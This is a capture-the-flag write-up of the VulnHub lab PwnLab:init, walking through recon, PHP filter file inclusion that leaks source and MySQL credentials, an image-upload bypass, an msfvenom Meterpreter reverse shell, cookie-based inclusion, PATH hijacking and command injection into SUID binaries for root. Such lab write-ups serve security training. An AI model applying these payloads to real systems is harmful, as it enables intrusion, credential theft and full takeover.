PwnLab:init

Another CTF VM in VulnHub.

Started with host discovery. I knew the subnet of my vms but still had to find the IP address of the vm.

root@kali:~# netdiscover -r 10.0.2.0/24
Currently scanning: Finished! | Screen View: Unique Hosts
4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240
____________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —
10.0.2.1 52:54:00:12:35:00 1 60 Unknown vendor
10.0.2.2 52:54:00:12:35:00 1 60 Unknown vendor
10.0.2.3 08:00:27:0f:11:1e 1 60 Cadmus Computer Systems
10.0.2.39 08:00:27:fe:42:ec 1 60 Cadmus Computer Systems

Scanned for open ports to find a possible way in.

root@kali:~# nmap -p- 10.0.2.39
Starting Nmap 7.01 ( https://nmap.org )
Nmap scan report for 10.0.2.39
Host is up (0.00058s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE
80/tcp open http
111/tcp open rpcbind
3306/tcp open mysql
51469/tcp open unknown

As usual, 80/tcp port is open with a http service. So firstly I browsed it while burp is working as proxy.

There were 3 links pages in the index page and found nothing more to consider with dirb, only upload and image folder.

root@kali:~# dirb http://10.0.2.39
— — — — — — — — -
DIRB v2.22
By The Dark Raver
— — — — — — — — -
URL_BASE: http://10.0.2.39/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
— — — — — — — — -
GENERATED WORDS: 4612
— — Scanning URL: http://10.0.2.39/ — —
==> DIRECTORY: http://10.0.2.39/images/
+ http://10.0.2.39/index.php (CODE:200|SIZE:332)
+ http://10.0.2.39/server-status (CODE:403|SIZE:297)
==> DIRECTORY: http://10.0.2.39/upload/
— — Entering directory: http://10.0.2.39/images/ — —
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode ‘-w’ if you want to scan it anyway)
— — Entering directory: http://10.0.2.39/upload/ — —
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode ‘-w’ if you want to scan it anyway)
— — — — — — — — -
DOWNLOADED: 4612 — FOUND: 2

Nothing in index page and upload page requires authentication. My only chance was login page. Tried SQLi, a few times but found nothing. Then tried strcmp() vulnerability with array but it was a failure too.

Found nothing on login page, so i focused on the page values on url.Still no SQLi or strcmp. Lastly tried the php file inclusion vulnerability and it worked!

Request:

GET /?page=php://filter/convert.base64-encode/resource=login HTTP/1.1
Host: 10.0.2.39
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=hvctmp7j5ghhdad1mqa7uljq81
Connection: close

Response:

HTTP/1.1 200 OK
Server: Apache/2.4.10 (Debian)
Vary: Accept-Encoding
Content-Length: 1377
Connection: close
Content-Type: text/html; charset=UTF-8
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src=”images/pwnlab.png”><br />
[ <a href=”/”>Home</a> ] [ <a href=”?page=login”>Login</a> ] [ <a href=”?page=upload”>Upload</a> ]
<hr/><br/>
PD9waHANCnNlc3Npb25fc3RhcnQoKTsNCnJlcXVpcmUoImNvbmZpZy5waHAiKTsNCiRteXNxbGkgPSBuZXcgbXlzcWxpKCRzZXJ2ZXIsICR1c2VybmFtZSwgJHBhc3N3b3JkLCAkZGF0YWJhc2UpOw0KDQppZiAoaXNzZXQoJF9QT1NUWyd1c2VyJ10pIGFuZCBpc3NldCgkX1BPU1RbJ3Bhc3MnXSkpDQp7DQoJJGx1c2VyID0gJF9QT1NUWyd1c2VyJ107DQoJJGxwYXNzID0gYmFzZTY0X2VuY29kZSgkX1BPU1RbJ3Bhc3MnXSk7DQoNCgkkc3RtdCA9ICRteXNxbGktPnByZXBhcmUoIlNFTEVDVCAqIEZST00gdXNlcnMgV0hFUkUgdXNlcj0/IEFORCBwYXNzPT8iKTsNCgkkc3RtdC0+YmluZF9wYXJhbSgnc3MnLCAkbHVzZXIsICRscGFzcyk7DQoNCgkkc3RtdC0+ZXhlY3V0ZSgpOw0KCSRzdG10LT5zdG9yZV9SZXN1bHQoKTsNCg0KCWlmICgkc3RtdC0+bnVtX3Jvd3MgPT0gMSkNCgl7DQoJCSRfU0VTU0lPTlsndXNlciddID0gJGx1c2VyOw0KCQloZWFkZXIoJ0xvY2F0aW9uOiA/cGFnZT11cGxvYWQnKTsNCgl9DQoJZWxzZQ0KCXsNCgkJZWNobyAiTG9naW4gZmFpbGVkLiI7DQoJfQ0KfQ0KZWxzZQ0Kew0KCT8+DQoJPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0iUE9TVCI+DQoJPGxhYmVsPlVzZXJuYW1lOiA8L2xhYmVsPjxpbnB1dCBpZD0idXNlciIgdHlwZT0idGVzdCIgbmFtZT0idXNlciI+PGJyIC8+DQoJPGxhYmVsPlBhc3N3b3JkOiA8L2xhYmVsPjxpbnB1dCBpZD0icGFzcyIgdHlwZT0icGFzc3dvcmQiIG5hbWU9InBhc3MiPjxiciAvPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkxvZ2luIj4NCgk8L2Zvcm0+DQoJPD9waHANCn0NCg==
</center>

</body>
</html>

With file inclusion vulnerability I got the base64 encoded source of login page. Decoded it with the decoder in Burp;

<?php
session_start();
require(“config.php”);
$mysqli = new mysqli($server, $username, $password, $database);
if (isset($_POST[‘user’]) and isset($_POST[‘pass’]))
{
$luser = $_POST[‘user’];
$lpass = base64_encode($_POST[‘pass’]);
$stmt = $mysqli->prepare(“SELECT * FROM users WHERE user=? AND pass=?”);
$stmt->bind_param(‘ss’, $luser, $lpass);
$stmt->execute();
$stmt->store_Result();
if ($stmt->num_rows == 1)
{
$_SESSION[‘user’] = $luser;
header(‘Location: ?page=upload’);
}
else
{
echo “Login failed.”;
}
}
else
{
?>
<form action=”” method=”POST”>
<label>Username: </label><input id=”user” type=”test” name=”user”><br />
<label>Password: </label><input id=”pass” type=”password” name=”pass”><br />
<input type=”submit” name=”submit” value=”Login”>
</form>
<?php
}

Code gets values from config.php file, so I did the same request to config file and read the source code.

GET /?page=php://filter/convert.base64-encode/resource=config HTTP/1.1
<?php
$server = “localhost”;
$username = “root”;
$password = “H4u%QJ_H99”;
$database = “Users”;
?>

I got root user, password and db name from config file. Nmap had found MySQL port in scan. So I connected to MySQL with the credentials in config file.

root@kali:~# mysql -u root -p -h 10.0.2.39 Users
Enter password:
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 1922
Server version: 5.5.47–0+deb8u1 (Debian)
Copyright © 2000, 2016, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the current input statement.
mysql>

After login I got the table names in Users db, then the entries in table.

mysql> show tables;
+ — — — — — — — — -+
| Tables_in_Users |
+ — — — — — — — — -+
| users |
+ — — — — — — — — -+
1 row in set (0.00 sec)
mysql> select * from users;
+ — — — + — — — — — — — — — +
| user | pass |
+ — — — + — — — — — — — — — +
| kent | Sld6WHVCSkpOeQ== |
| mike | U0lmZHNURW42SQ== |
| kane | aVN2NVltMkdSbw== |
+ — — — + — — — — — — — — — +
3 rows in set (0.00 sec)

There was only one table named users and 3 entries in the table. Passwords were stored in base64 encoded format, which was practically same thing as storing in clear text.

Started with kent:JWzXuBJJNy, I logged in from login page in port80/tcp. Now I could upload files. but before try to upload I checked the source code of the upload page.

GET /?page=php://filter/convert.base64-encode/resource=upload
<?php
session_start();
if (!isset($_SESSION[‘user’])) { die(‘You must be log in.’); }
?>
<html>
<body>
<form action=’’ method=’post’ enctype=’multipart/form-data’>
<input type=’file’ name=’file’ id=’file’ />
<input type=’submit’ name=’submit’ value=’Upload’/>
</form>
</body>
</html>
<?php
if(isset($_POST[‘submit’])) {
if ($_FILES[‘file’][‘error’] <= 0) {
$filename = $_FILES[‘file’][‘name’];
$filetype = $_FILES[‘file’][‘type’];
$uploaddir = ‘upload/’;
$file_ext = strrchr($filename, ‘.’);
$imageinfo = getimagesize($_FILES[‘file’][‘tmp_name’]);
$whitelist = array(“.jpg”,”.jpeg”,”.gif”,”.png”);
if (!(in_array($file_ext, $whitelist))) {
die(‘Not allowed extension, please upload images only.’);
}
if(strpos($filetype,’image’) === false) {
die(‘Error 001’);
}
if($imageinfo[‘mime’] != ‘image/gif’ && $imageinfo[‘mime’] != ‘image/jpeg’ && $imageinfo[‘mime’] != ‘image/jpg’&& $imageinfo[‘mime’] != ‘image/png’) {
die(‘Error 002’);
}
if(substr_count($filetype, ‘/’)>1){
die(‘Error 003’);
}
$uploadfile = $uploaddir . md5(basename($_FILES[‘file’
[‘name’])).$file_ext;
if (move_uploaded_file($_FILES[‘file’][‘tmp_name’], $uploadfile)) {
echo “<img src=\””.$uploadfile.”\”><br />”;
} else {
die(‘Error 4’);
}}}?>

OK. Things we knew are php is working, and upload page is looking waiting for image files and we knew how it checks. Firstly, I generated a php reverse shell.

root@kali:~# msfvenom -p php/meterpreter/reverse_tcp lhost=10.0.2.5 lport=4444 > /root/Desktop/shell.php

Then tried to upload shell code. Opened the interception on Burp to edit the request.

POST /?page=upload HTTP/1.1
Host: 10.0.2.39
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.0.2.39/?page=upload
Cookie: PHPSESSID=hvctmp7j5ghhdad1mqa7uljq81
Connection: close
Content-Type: multipart/form-data; boundary= — — — — — — — — — — — — — -550258075655383859512255867
Content-Length: 26534
— — — — — — — — — — — — — — -550258075655383859512255867
Content-Disposition: form-data; name=”file”; filename=”shell.php.gif
Content-Type: image/gif
GIF
<?php if (!isset($GLOBALS[‘channels’])) { $GLOBALS[‘channels’] = array(); } if (!
...

To cheat the protection in upload file, I added .gif to filename and changed Content-Type to image/gif. At first it did not upload the file so I checked again code and added GIF to data part of the request and upload was successful.

With a evil smile on my face I started msfconsole and handler to wait for a connection.

root@kali:~/Desktop# msfconsole
msf > use exploit/multi/handler
msf exploit(handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
— — — — — — — — — — — — — — — — — — — -
Exploit target:
Id Name
— — —
0 Wildcard Target
msf exploit(handler) > set payload php/
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 10.0.2.5
lhost => 10.0.2.5
msf exploit(handler) > set lport 4445
lport => 4445
msf exploit(handler) > exploit
[*] Started reverse TCP handler on 10.0.2.5:4445
[*] Starting the payload handler...

Browsed the file under upload folder.

And my smile faded away. It did not execute the gif. Now I had to find another way. Only souce code I did not look was index page’s, so checked it.

GET /?page=php://filter/convert.base64-encode/resource=index HTTP/1.1
<?php
//Multilingual. Not implemented yet.
//setcookie(“lang”,”en.lang.php”);
if (isset($_COOKIE[‘lang’]))
{
include(“lang/”.$_COOKIE[‘lang’]);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src=”images/pwnlab.png”><br />
[ <a href=”/”>Home</a> ] [ <a href=”?page=login”>Login</a> ] [ <a href=”?page=upload”>Upload</a> ]
<hr/><br/>
<?php
if (isset($_GET[‘page’]))
{
include($_GET[‘page’].”.php”);
}
else
{
echo “Use this server to upload and share image files inside the intranet”;
}?>
</center>
</body>
</html>

include(“lang/”.$_COOKIE[‘lang’]); seems interesting. Gets cookie value Lang and search under lang folder. Worth to try. Added shell file, uploaded to server before, to lang value.

GET /?page=php://filter/convert.base64-encode/resource=index HTTP/1.1
Host: 10.0.2.39
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=hvctmp7j5ghhdad1mqa7uljq81; lang=../upload/b1a99ebaad4dd28f57517de36e770484.gif
Connection: close
Content-Length: 8

And finally I got the reverse shell.

[*] Started reverse TCP handler on 10.0.2.5:4445 
[*] Starting the payload handler…
[*] Meterpreter session 1 opened (10.0.2.5:4445 -> 10.0.2.39:60891)
meterpreter > 

Finally I was in. Next goal is to get root. Started with the /home directory.

meterpreter > cd /home
meterpreter > shell
Process 1465 created.
Channel 0 created.
ls
ls
john
kane
kent
mike

I had db passwords of kent, mike and kane. I checked if their passwords are same. Started with kent. Password was same but nothing much in home directory.

python -c ‘import pty; pty.spawn(“/bin/bash”)’
www-data@pwnlab:/$ su kent
su kent
Password: JWzXuBJJNy
kent@pwnlab:/$ cd /home
cd /home
kent@pwnlab:/home$ ls
ls
john kane kent mike
kent@pwnlab:/home$ cd kent
cd kent
kent@pwnlab:~$ ls -alh
ls -alh
total 20K
drwxr-x — — 2 kent kent 4.0K Mar 17 2016 .
drwxr-xr-x 6 root root 4.0K Mar 17 2016 ..
-rw-r — r — 1 kent kent 220 Mar 17 2016 .bash_logout
-rw-r — r — 1 kent kent 3.5K Mar 17 2016 .bashrc
-rw-r — r — 1 kent kent 675 Mar 17 2016 .profile
kent@pwnlab:~$

mike’s password was different than his password for db.

kent@pwnlab:~$ su mike
su mike
Password: SIfdsTEn6I
su: Authentication failure

Last user, kane’s password was same as db users too.

kent@pwnlab:~$ su kane
su kane
Password: iSv5Ym2GRo
kane@pwnlab:/home/kent$ cd ../kane
cd ../kane
kane@pwnlab:~$ ls -alh
ls -alh
total 28K
drwxr-x — — 2 kane kane 4.0K Mar 17 2016 .
drwxr-xr-x 6 root root 4.0K Mar 17 2016 ..
-rw-r — r — 1 kane kane 220 Mar 17 2016 .bash_logout
-rw-r — r — 1 kane kane 3.5K Mar 17 2016 .bashrc
-rwsr-sr-x 1 mike mike 5.1K Mar 17 2016 msgmike
-rw-r — r — 1 kane kane 675 Mar 17 2016 .profile
kane@pwnlab:~$

There was a file named msgmike in home directory, which is owned by mike. This could be used to gain acceess to mike’s home dir. Ran the file and get the strings in it.

kane@pwnlab:~$ ./msgmike
./msgmike
cat: /home/mike/msg.txt: No such file or directory
kane@pwnlab:~$ strings msgmike
strings msgmike
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
setregid
setreuid
system
__libc_start_main
__gmon_start__
GLIBC_2.0
PTRh
QVh[
[^_]
cat /home/mike/msg.txt
;*2$”(
GCC: (Debian 4.9.2–10) 4.9.2
GCC: (Debian 4.8.4–1) 4.8.4
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rel.dyn
.rel.plt
.init
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.jcr
.dynamic
.got
.got.plt
.data
.bss
.comment
crtstuff.c
__JCR_LIST__
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
completed.6279
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
msgmike.c
__FRAME_END__
__JCR_END__
__init_array_end
_DYNAMIC
__init_array_start
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
__x86.get_pc_thunk.bx
data_start
_edata
_fini
__data_start
system@@GLIBC_2.0
__gmon_start__
__dso_handle
_IO_stdin_used
setreuid@@GLIBC_2.0
__libc_start_main@@GLIBC_2.0
__libc_csu_init
_end
_start
_fp_hw
__bss_start
main
setregid@@GLIBC_2.0
_Jv_RegisterClasses
__TMC_END__
_ITM_registerTMCloneTable
_init
kane@pwnlab:~$

It uses cat command. I tried to create another cat for to file to run my command. Named a file cat which was in fact calling bash. Then edited the PATH to call my new cat file when cat command is executed. After I ran the file, i was in as mike.

kane@pwnlab:~$ echo “/bin/bash” > cat
echo “/bin/bash” > cat
kane@pwnlab:~$ chamod +x cat
chamod +x cat
bash: chamod: command not found
kane@pwnlab:~$ chmod +x cat
chmod +x cat
kane@pwnlab:~$ ./msgmike
./msgmike
cat: /home/mike/msg.txt: No such file or directory
kane@pwnlab:~$ export PATH=.:$PATH
export PATH=.:$PATH
kane@pwnlab:~$ ./msgmike
./msgmike
mike@pwnlab:~$

Back to mike user’s home dir. Here also had a interesting file called msg2root which seemed my way to get the root privilege.

mike@pwnlab:~$ cd ../mike
cd ../mike
mike@pwnlab:/home/mike$ ls -alh
ls -alh
total 28K
drwxr-x — — 2 mike mike 4.0K Mar 17 2016 .
drwxr-xr-x 6 root root 4.0K Mar 17 2016 ..
-rw-r — r — 1 mike mike 220 Mar 17 2016 .bash_logout
-rw-r — r — 1 mike mike 3.5K Mar 17 2016 .bashrc
-rwsr-sr-x 1 root root 5.3K Mar 17 2016 msg2root
-rw-r — r — 1 mike mike 675 Mar 17 2016 .profile

Forgot to copy the output but when I looked at the strings of file, I saw that I could run a command by sending a message, seperated with “;”.

mike@pwnlab:/home/mike$ ./msg2root
./msg2root
Message for root: whoami
whoami
whoami
mike@pwnlab:/home/mike$ ./msgroot
./msgroot
bash: ./msgroot: No such file or directory
mike@pwnlab:/home/mike$ whoami;whoami
whoami;whoami
mike
mike
mike@pwnlab:/home/mike$

Whoami worked. Now I could try to get the root shell.

mike@pwnlab:/home/mike$ ls -alh
ls -alh
total 28K
drwxr-x — — 2 mike mike 4.0K Mar 17 2016 .
drwxr-xr-x 6 root root 4.0K Mar 17 2016 ..
-rw-r — r — 1 mike mike 220 Mar 17 2016 .bash_logout
-rw-r — r — 1 mike mike 3.5K Mar 17 2016 .bashrc
-rwsr-sr-x 1 root root 5.3K Mar 17 2016 msg2root
-rw-r — r — 1 mike mike 675 Mar 17 2016 .profile
mike@pwnlab:/home/mike$ ./msg2root
./msg2root
Message for root: a;/bin/sh
a;/bin/sh
a
# whoami
whoami
root

#

I am root now and the rest was only run a cat command for the flag file to complete the challenge.

That was fun, quick. Really enjoyed during the challege.